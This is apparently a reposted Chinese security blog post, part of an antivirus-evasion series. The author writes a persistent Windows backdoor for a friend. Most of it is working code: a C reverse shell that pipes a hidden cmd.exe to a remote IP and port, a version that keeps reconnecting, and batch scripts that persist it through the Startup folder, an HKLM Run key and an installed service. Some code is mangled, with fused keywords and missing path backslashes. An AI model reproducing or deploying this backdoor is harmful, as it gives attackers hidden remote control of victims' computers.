起因是前几天有个好朋友打电话求助一个windows持久免杀360的后门,当时我正在厨房大展厨艺,于是没办法就说,等我秀完厨艺吃完饭给你写一个吧!
美美的吃完我的菠菜全宴(春主生发,五色为绿,主肝,菠菜是一个不错的食材),随手C语言写一个呗。
但是朕家里面全是linux的系统啊,只能马上虚拟机windows安装一个360和C编译环境,开写!!!
首先目的是反弹一个win的shell过来。
先创建一个进程调用cmd,并且重定向输入输出
// 创建进程并重定向输入输出
void CreateProcessWithRedirect(HANDLE hChildStdIn, HANDLE hChildStdOut) {
PROCESS_INFORMATION pi;
STARTUPINFO si;
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.hStdError = hChildStdOut;
si.hStdOutput = hChildStdOut;
si.hStdInput = hChildStdIn;
si.dwFlags |= STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
// 创建cmd进程
if (!CreateProcess(
NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi)) {
ErrorHandling("创建cmd进程失败");
}
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
// 线程函数:从socket读取数据并写入管道
unsigned __stdcall ReadFromSocket(void* param){
HANDLE hPipeWrite = (HANDLE)param;
SOCKET sock = (SOCKET)GetStdHandle(STD_INPUT_HANDLE);
char buffer[BUFFER_SIZE];
int bytesRead;
DWORD bytesWritten;
while (1) {
bytesRead = recv(sock, buffer, BUFFER_SIZE, 0);
if (bytesRead <= 0) break;
// 写入管道(cmd的输入)
if (!WriteFile(hPipeWrite, buffer, bytesRead, &bytesWritten, NULL) || bytesWritten == 0) {
break;
}
}
CloseHandle(hPipeWrite);
return 0;
}
// 线程函数:从管道读取数据并写入socket
unsigned __stdcall WriteToSocket(void* param){
HANDLE hPipeRead = (HANDLE)param;
SOCKET sock = (SOCKET)GetStdHandle(STD_OUTPUT_HANDLE);
char buffer[BUFFER_SIZE];
DWORD bytesRead;
while (1) {
if (!ReadFile(hPipeRead, buffer, BUFFER_SIZE, &bytesRead, NULL) || bytesRead == 0) {
break;
}
// 发送到远程服务器
if (send(sock, buffer, bytesRead, 0) <= 0) {
break;
}
}
CloseHandle(hPipeRead);
return 0;
}
int main(int argc, char* argv[]) {
// 检查参数
if (argc != 3) {
printf("用法: %s <IP地址> <端口>n", argv[0]);
return 1;
}
// 初始化Winsock
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
ErrorHandling("WSAStartup()失败");
}
// 创建socket
SOCKET sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
ErrorHandling("socket()失败");
}
// 设置服务器地址
SOCKADDR_IN servAddr;
memset(&servAddr, 0, sizeof(servAddr));
servAddr.sin_family = AF_INET;
servAddr.sin_addr.s_addr = inet_addr(argv[1]);
servAddr.sin_port = htons(atoi(argv[2]));
// 连接到服务器
if (connect(sock, (SOCKADDR*)&servAddr, sizeof(servAddr)) == SOCKET_ERROR) {
closesocket(sock);
ErrorHandling("connect()失败");
}
printf("已连接到 %s:%sn", argv[1], argv[2]);
// 创建管道
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
HANDLE hChildStdInRd, hChildStdInWr;
HANDLE hChildStdOutRd, hChildStdOutWr;
// 创建子进程的stdin管道
if (!CreatePipe(&hChildStdInRd, &hChildStdInWr, &sa, 0)) {
closesocket(sock);
ErrorHandling("创建stdin管道失败");
}
// 创建子进程的stdout管道
if (!CreatePipe(&hChildStdOutRd, &hChildStdOutWr, &sa, 0)) {
CloseHandle(hChildStdInRd);
CloseHandle(hChildStdInWr);
closesocket(sock);
ErrorHandling("创建stdout管道失败");
}
// 设置标准输入输出句柄
SetStdHandle(STD_INPUT_HANDLE, (HANDLE)sock);
SetStdHandle(STD_OUTPUT_HANDLE, (HANDLE)sock);
// 创建cmd进程
CreateProcessWithRedirect(hChildStdInRd, hChildStdOutWr);
// 关闭不需要的管道端
CloseHandle(hChildStdInRd);
CloseHandle(hChildStdOutWr);
// 创建读写线程
HANDLE hThreads[2];
hThreads[0] = (HANDLE)_beginthreadex(NULL, 0, ReadFromSocket, hChildStdInWr, 0, NULL);
hThreads[1] = (HANDLE)_beginthreadex(NULL, 0, WriteToSocket, hChildStdOutRd, 0, NULL);
// 等待线程结束
WaitForMultipleObjects(2, hThreads, TRUE, INFINITE);
// 清理资源
CloseHandle(hThreads[0]);
CloseHandle(hThreads[1]);
CloseHandle(hChildStdInWr);
CloseHandle(hChildStdOutRd);
closesocket(sock);
WSACleanup();
return 0;
}
// 连接到服务器并启动Shell
voidConnectAndStartShell(constchar* ip, int port){
WSADATA wsaData;
SOCKET sock;
SOCKADDR_IN servAddr;
// 初始化Winsock
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
ErrorHandling("WSAStartup()失败");
return;
}
while (1) {
// 创建socket
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
ErrorHandling("socket()失败");
Sleep(RECONNECT_DELAY);
continue;
}
// 设置服务器地址
memset(&servAddr, 0, sizeof(servAddr));
servAddr.sin_family = AF_INET;
servAddr.sin_addr.s_addr = inet_addr(ip);
servAddr.sin_port = htons(port);
printf("尝试连接到 %s:%d...n", ip, port);
// 尝试连接
if (connect(sock, (SOCKADDR*)&servAddr, sizeof(servAddr)) == SOCKET_ERROR) {
closesocket(sock);
Sleep(RECONNECT_DELAY);
continue;
}
printf("连接成功!n");
// 创建管道
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
HANDLE hChildStdInRd, hChildStdInWr;
HANDLE hChildStdOutRd, hChildStdOutWr;
if (!CreatePipe(&hChildStdInRd, &hChildStdInWr, &sa, 0)) {
closesocket(sock);
ErrorHandling("创建stdin管道失败");
continue;
}
if (!CreatePipe(&hChildStdOutRd, &hChildStdOutWr, &sa, 0)) {
CloseHandle(hChildStdInRd);
CloseHandle(hChildStdInWr);
closesocket(sock);
ErrorHandling("创建stdout管道失败");
continue;
}
// 设置标准输入输出句柄
SetStdHandle(STD_INPUT_HANDLE, (HANDLE)sock);
SetStdHandle(STD_OUTPUT_HANDLE, (HANDLE)sock);
// 创建cmd进程
CreateProcessWithRedirect(hChildStdInRd, hChildStdOutWr);
// 关闭不需要的管道端
CloseHandle(hChildStdInRd);
CloseHandle(hChildStdOutWr);
// 创建读写线程
HANDLE hThreads[2];
hThreads[0] = (HANDLE)_beginthreadex(NULL, 0, ReadFromSocket, hChildStdInWr, 0, NULL);
hThreads[1] = (HANDLE)_beginthreadex(NULL, 0, WriteToSocket, hChildStdOutRd, 0, NULL);
// 等待线程结束
WaitForMultipleObjects(2, hThreads, TRUE, INFINITE);
// 清理资源
CloseHandle(hThreads[0]);
CloseHandle(hThreads[1]);
CloseHandle(hChildStdInWr);
CloseHandle(hChildStdOutRd);
closesocket(sock);
printf("连接断开,将在5秒后重新尝试...n");
Sleep(RECONNECT_DELAY);
}
WSACleanup();
}
intmain(int argc, char* argv[]){
// 检查参数
if (argc != 3) {
printf("用法: %s <IP地址> <端口>n", argv[0]);
return 1;
}
// 启动主连接循环
ConnectAndStartShell(argv[1], atoi(argv[2]));
return 0;
}
@echo off
:: 获取当前脚本所在目录
set "current_dir=%~dp0"
:: 获取启动目录
set "startup_dir=%APPDATA%MicrosoftWindowsStart MenuProgramsStartup"
:: 复制persistent_shell.exe到启动目录
copy "%current_dir%persistent_shell.exe" "%startup_dir%" >nul
:: 检查是否复制成功
if exist "%startup_dir%persistent_shell.exe" (
echo persistent_shell.exe 已成功复制到启动目录
) else (
echo 复制失败,请检查文件是否存在
pause
exit /b
)
:: 执行启动目录中的persistent_shell.exe
start "" "%startup_dir%persistent_shell.exe" 192.168.0.109 9115
exit /b
@echo off
:: 检查是否以管理员身份运行(修改注册表可能需要管理员权限)
net session >nul 2>&1
if %errorLevel% neq 0 (
echo 请以管理员身份运行此脚本!
pause
exit /b
)
:: 获取当前脚本所在目录(假设persistent_shell.exe和此脚本在同一目录)
set "current_dir=%~dp0"
set "exe_path=%current_dir%persistent_shell.exe"
:: 检查文件是否存在
if not exist "%exe_path%" (
echo 错误:persistent_shell.exe 不存在于当前目录!
pause
exit /b
)
:: 添加到注册表启动项(全局生效)
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun" /v "PersistentShell" /t REG_SZ /d ""%exe_path%" 192.168.0.109 9115" /f >nul
:: 立即执行程序
start "" "%exe_path%" 192.168.0.109 9115
echo 已成功添加开机启动项并执行程序
echo 程序路径: %exe_path%
echo 参数: 192.168.0.109 9115
:: 可选:等待用户确认
pause
安装服务
ShellService.exe install
配置注册表键值
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesShellServiceParameters
修改:
TargetIP - 字符串值,设置目标IP地址
TargetPort - DWORD值,设置目标端口
启动服务
net start ShellService
停止服务
net stop ShellService
卸载服务
ShellService.exe uninstall
@echo off
:: Shell服务管理脚本
:: 需要管理员权限运行
:: 检查管理员权限
net session >nul 2>&1
if %errorLevel% neq 0 (
echo 请使用管理员权限运行此脚本
pause
exit /b
)
:: 设置变量
set SERVICE_NAME=ShellService
set SERVICE_EXE=ShellService.exe
set TARGET_IP=192.168.0.109 :: 修改为目标IP
set TARGET_PORT=9115 :: 修改为目标端口
:menu
cls
echo ====================================
echo 反弹Shell服务管理菜单
echo ====================================
echo 1. 安装并启动服务
echo 2. 启动服务
echo 3. 停止服务
echo 4. 卸载服务
echo 5. 修改目标IP和端口
echo 6. 退出
echo ====================================
set /p choice=请选择操作[1-6]:
if "%choice%"=="1" goto install
if "%choice%"=="2" goto start
if "%choice%"=="3" goto stop
if "%choice%"=="4" goto uninstall
if "%choice%"=="5" goto config
if "%choice%"=="6" exit
echo 无效选择,请重新输入
pause
goto menu
:install
echo 正在安装服务...
if not exist "%SERVICE_EXE%" (
echo 错误: 未找到 %SERVICE_EXE%
pause
goto menu
)
:: 安装服务
%SERVICE_EXE% install
:: 配置IP和端口
reg add "HKLMSYSTEMCurrentControlSetServices%SERVICE_NAME%Parameters" /v TargetIP /t REG_SZ /d "%TARGET_IP%" /f
reg add "HKLMSYSTEMCurrentControlSetServices%SERVICE_NAME%Parameters" /v TargetPort /t REG_DWORD /d %TARGET_PORT% /f
:: 启动服务
net start %SERVICE_NAME%
if %errorlevel% equ 0 (
echo 服务安装并启动成功
) else (
echo 服务启动失败
)
pause
goto menu
:start
echo 正在启动服务...
net start %SERVICE_NAME%
if %errorlevel% equ 0 (
echo 服务启动成功
) else (
echo 服务启动失败
)
pause
goto menu
:stop
echo 正在停止服务...
net stop %SERVICE_NAME%
if %errorlevel% equ 0 (
echo 服务停止成功
) else (
echo 服务停止失败
)
pause
goto menu
:uninstall
echo 正在卸载服务...
net stop %SERVICE_NAME% 2>nul
sc delete %SERVICE_NAME%
if %errorlevel% equ 0 (
echo 服务卸载成功
) else (
echo 服务卸载失败
)
pause
goto menu
:config
echo 当前配置:
for /f "tokens=2*" %%a in ('reg query "HKLMSYSTEMCurrentControlSetServices%SERVICE_NAME%Parameters" /v TargetIP 2^>nul') do set current_ip=%%b
for /f "tokens=3" %%a in ('reg query "HKLMSYSTEMCurrentControlSetServices%SERVICE_NAME%Parameters" /v TargetPort 2^>nul') do set current_port=%%a
if defined current_ip (
echo 当前IP: %current_ip%
) else (
echo 当前IP: 未设置
)
if defined current_port (
echo 当前端口: %current_port%
) else (
echo 当前端口: 未设置
)
set /p new_ip=请输入新的目标IP[当前: %current_ip%]:
set /p new_port=请输入新的目标端口[当前: %current_port%]:
if "%new_ip%"=="" set new_ip=%current_ip%
if "%new_port%"=="" set new_port=%current_port%
:: 验证IP格式
echo %new_ip% | findstr /r "^[0-9][0-9]*.[0-9][0-9]*.[0-9][0-9]*.[0-9][0-9]*$" >nul
if %errorlevel% neq 0 (
echo 错误: IP地址格式无效
pause
goto config
)
:: 验证端口范围
if %new_port% lss 1 (
echo 错误: 端口号不能小于1
pause
goto config
)
if %new_port% gtr 65535 (
echo 错误: 端口号不能大于65535
pause
goto config
)
:: 更新注册表
reg add "HKLMSYSTEMCurrentControlSetServices%SERVICE_NAME%Parameters" /v TargetIP /t REG_SZ /d "%new_ip%" /f
reg add "HKLMSYSTEMCurrentControlSetServices%SERVICE_NAME%Parameters" /v TargetPort /t REG_DWORD /d %new_port% /f
echo 配置已更新
echo 需要重启服务使更改生效
pause
goto menu
原文始发于微信公众号(蓝极战队):免杀那点事之随手C写一个持久反弹shell(六)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论